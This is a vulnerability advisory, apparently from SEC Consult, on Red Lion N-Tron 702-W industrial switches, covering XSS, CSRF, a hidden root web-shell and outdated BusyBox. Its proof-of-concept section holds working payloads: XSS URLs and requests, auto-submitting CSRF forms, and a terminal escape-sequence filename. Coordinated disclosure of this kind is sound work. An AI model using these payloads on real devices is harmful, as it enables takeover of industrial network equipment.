Multiple Vulnerabilities in Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W

Project Description

The N-TRON industrial ethernet switch 702-W from Red Lion is affected by multiple vulnerabilities resulting from insecure programming practices and old software components embedded in the firmware. The quick security crash-test was done on an emulated device. Vulnerabilities like cross-site scripting and cross-site request forgery were found. A hidden interface, where system commands can be executed, was also found to be present. All findings were verified by emulating the device with the MEDUSA scalable firmware runtime.


Vendor description

“For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data.”

Source: https://www.redlion.net

Business recommendation

The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments.

Vulnerability overview/description

1) Reflected Cross-Site Scripting (XSS) – CVE-2020-16210

A reflected cross-site scripting vulnerability was identified at the endpoint “/pingtest_action.cgi”. An attacker is also able to perform actions in the context of the attacked user.

2) Stored Cross-Site Scripting (XSS) – CVE-2020-16206

Stored cross-site scripting vulnerabilities are present on multiple endpoints. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user.

3) Cross-Site Request Forgery (CSRF) – CVE-2020-16208

CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability.

4) Hidden OS Web-Shell Interface – CVE-2020-16204

An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. A remote attacker can execute system commands via this way in combination with vulnerability #3. This endpoint seems to be a leftover of the used Atheros SDK.

5) Known BusyBox Vulnerabilities

The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector.

6) Outdated and Vulnerable Software Components

Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.

Proof of concept

1) Reflected Cross-Site Scripting (XSS) – CVE-2020-16210

The “pingtest_action.cgi” endpoint can be used to trigger reflected XSS.

http://$IP/pingtest_action.cgi?action=pingtest
&dst_ip_addr=1&dst_addr_select=127.0.0.1
&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)
%3C/script%3E%3C/html%3Etodo

2) Stored Cross-Site Scripting (XSS) – CVE-2020-16206

Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint “/network.cgi” is the following request:

POST /network.cgi HTTP/1.1 
Host: $IP 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; 
boundary=---------------------------195698564115308644282115103021 
Content-Length: 915 
Authorization: Basic YWRtaW46YWRtaW4= 
Connection: close 
Cookie: ui_language=en_US 
Upgrade-Insecure-Requests: 1 
 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="netmode" 
 
bridge 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="wlanipmode" 
 
0 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="brip" 
 
192.168.1.202 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="brmask" 
 
255.255.255.0 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="brgw" 
 
192.168.1.1"><script>alert(document.location)</script> 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="dns1" 
 
 
-----------------------------195698564115308644282115103021 
Content-Disposition: form-data; name="dns2" 
 
 
-----------------------------195698564115308644282115103021--

This can also be embedded in the HTML code as shown below:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/network.cgi" method="POST" 
            enctype="multipart/form-data">
      <input type="hidden" name="netmode" value="bridge" />
      <input type="hidden" name="wlanipmode" value="0" />
      <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" />
      <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" />
      <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="dns1" value="" />
      <input type="hidden" name="dns2" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

3) Cross-Site Request Forgery (CSRF) – CVE-2020-16208

CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to “SEC Consult” can be done with the following embedded HTML code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/system.cgi" method="POST" 
            enctype="multipart/form-data">
      <input type="hidden" name="hostname" value="SEC&#32;Consult" />
      <input type="hidden" name="action" value="chhost" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4) Hidden OS Web-Shell Interface – CVE-2020-16204

The endpoint “/admin.cgi” is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered:

  • Execute commands in context of the root user
  • Upload files
  • Download files
  • Change access rights

All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages.

5) Known BusyBox Vulnerabilities

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:

A file with the name “\ectest\n\e]55;test.txt\a” was created to trigger the vulnerability.

# ls "pressing <TAB>"
test
55\;test.txt 
#

6) Outdated and Vulnerable Software Components

By analyzing the firmware a lot of components are found to be outdated:

  • BusyBox 1.0.1
  • PHP/FI 2.0.1
  • Dnsmasq 2.35
  • Boa 0.93.15

Vulnerable / tested versions

the following firmware version has been tested:

  • Red Lion N-Tron 702-W / 2.0.26
  • Red Lion N-Tron 702M12-W / 2.0.26

Vendor contact timeline

 

2020-03-09Contacting vendor through support.emea@redlion.net; No answer.
2020-03-17Asked for status update; No answer.
2020-03-30Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer.
2020-04-13Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT.
2020-04-14Security contact from CERT@VDE answered, that ICS-CERT was also in- formed.
2020-07-17Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion.Solution
2020-08-20Received CISA draft for an advisory from CERT@VDE.
2020-08-28Found the published advisory on CISA’s website* which was released on 2020-08-27.
2020-09-02Release of security advisory.

* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01

Solution

Upgrade to newer hardware.

Workaround

None.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF Thomas Weber / @2020

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Project Details

  • TitleMultiple Vulnerabilities
  • ProductRed Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
  • Vulnerable version<=2.0.26
  • CVE numberCVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204
  • ImpactHigh
  • Homepagehttps://www.redlion.net/
  • Found2020-02-28
  • ByT. Weber (Office Vienna) | SEC Consult Vulnerability Lab